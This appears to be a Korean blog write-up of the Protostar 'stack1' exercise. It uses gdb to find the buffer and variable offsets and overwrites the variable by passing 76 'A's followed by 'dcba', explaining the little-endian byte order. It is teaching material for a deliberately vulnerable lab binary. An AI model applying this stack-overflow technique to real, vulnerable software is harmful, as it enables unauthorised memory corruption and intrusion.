stack1의 코드 이다.
gcc -z execstack -no-pie -w -o stack1 stack1c
취약하게 코드를 컴파일한다.
argc==1 일때
라는 의미가 나오도록 코딩이되어있으므로 원하는 답이 2개가되려면
argument가 2개 이상이되어야한다는 것이다.
./stack1 1234
그래서 1234를 추가하여본다.
소스코드의 argc 에서 argment를 검사하는 내용이 나오게 된다.
argument는 뒤에 어떤 값을 넣으라는 애기이다
argument를 전달하게되면
./stack1 은 argc = 1이고
./stack1 1234 는 argc=2 이다
띄어쓰기에 따라서 argument가 전달이 됩니다.
modified가 선언되고 buffer가 선언되는데
argv로부터 starcpy를 통해서 데이터를 받는다(스트링카피는 겟츠와 마찬가지로 버퍼오버플로우를 일으키는 함수)
argv==1 첫번쨰로 부터 받아옵니다.
./stack1 1234
에서 arg를 판단하면
./stack1 은 arg[0] 이고
./stack1 1234은 arg[1]입니다.
그다음 modified를 확인을 하는데
modified를 0으로 세팅한 뒤에
modified를 바뀌는 것을 원하고 바뀌지 않으면 try agin을 나오게된다.
(if !=0 , else =0)
modified=0x61626364
이 메모리 주소를 찾으려면 gdb를 킨다.
gdb ./stack1
set disassembly-flavor intel
disas main
0x61626364
이 데이터는 modified로부터 가져오게되고
현재 modified의 위치는 rbp-0x4로 파악이 됩니다.
(modified=rbp-0x4)
현재 buffer의 위치는 스트링카피(strcpy) 이곳이 될거라고 판단이 됩니다.
여기로 부터 가져올 것이라고 판단이 됩니다.
이 두것들을
rsi에서 가져와 rdi로 줄것이라고 생각되는데
rsi 소스인덱스와
rdi 데스티네이션 인덱스
rsi -> rdi
출발지 -> 도착지
왜냐 strcpy 스트링카피는 현재 두개의 인자를 필요로 하고있다.
rsi -> rdi로 복사를 한다
rdi= buffer의 위치를 뜻하고 = rax = [rbp-0x50]에서 가져오게된다.
[rbp-0x50] -> rax -> -> rdi로 복사를 한다 즉 이곳이 buffer의 위치이다.
buffer=rbp-0x50
modifed= rbp-0x4
buffer위치에서 modifed 위치로 덮어 씌우기 위해서는
buffer=rbp-0x50
modifed= rbp-0x4
rbb-0x50 - rbp-0x4
=
50-4
-HEX값으로-
50-4= 4C 만큼 떨어져있다.
4C=76(10진수로
-=====즉 A를 76개 넣게되면 buffer-> modified로 갈수있다 말입니다======
그리고 B를 4개 채우면 인트가 4바이트이기 떄문에 저위치에 가득 차게된다.
즉 modified로 위치를 이동 후에 그곳에 버퍼를 채운다.
A76 + BBBB 채우기
python -c "print('A'*76)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
A76개 B4개 넣고 돌리기 !
argument에 전달을 할 시에는 run을 한뒤에 넣어야한다.
run
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
이부분에 breack point를 걸자
gdb ./stack1
set disassembly-flavor intel
disas main
b *main+79
(cmp eax , 메모리주소 있는 쪽에 브레이크 포인트 걸자)
run
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
이렇게 되면 브레이크 포인트가 저곳에 걸리게 된다.
브레이크 포인트가 걸린 알고싶은 eax의 위치에 뭐가 있는지 확인 해봤을떄
info reg &eax 확인하면
0x424242 로 차게된다
42는 아스키 코드로 B 이며
B가 4개 차있다
B가 4개차있으니 정확한 값이 들어있는 것이다 = 우리가 해본거
0x64636261가 하면
아스키코드로
abcd 이지만
우리가 답을 얻기위해서는
0x61626364
즉
아스키코드로
dcba를 넣어야한다.
.
run
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd를 하게되면
61626364 가아니라 64636261로 나오게된다.
스택에 넣을떄는 꺼꾸로 넣어야 한다
그래서
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
를 한뒤에
continue를 하게된다면 성공이다!!!!!!
우리는 같은 값을 넣어야 했으므로
그래서 ./stack A~~~~를 하면 성공적으로 값을 얻었다.
만약 다른 값을 넣게되면 0x64636261의 값을 얻으라고 말을 한다.
'시스템 해킹' 카테고리의 다른 글
Protostar stack - 3 pwn 툴 사용해서 공격 (0) | 2024.05.16 |
---|---|
Protostar stack - 2 peda 사용 (1) | 2024.05.16 |
Protostar stack0 시작 (0) | 2024.05.15 |
프로토스타 설치 (0) | 2024.05.15 |
스택 공격 기법 이해하기 (0) | 2024.05.15 |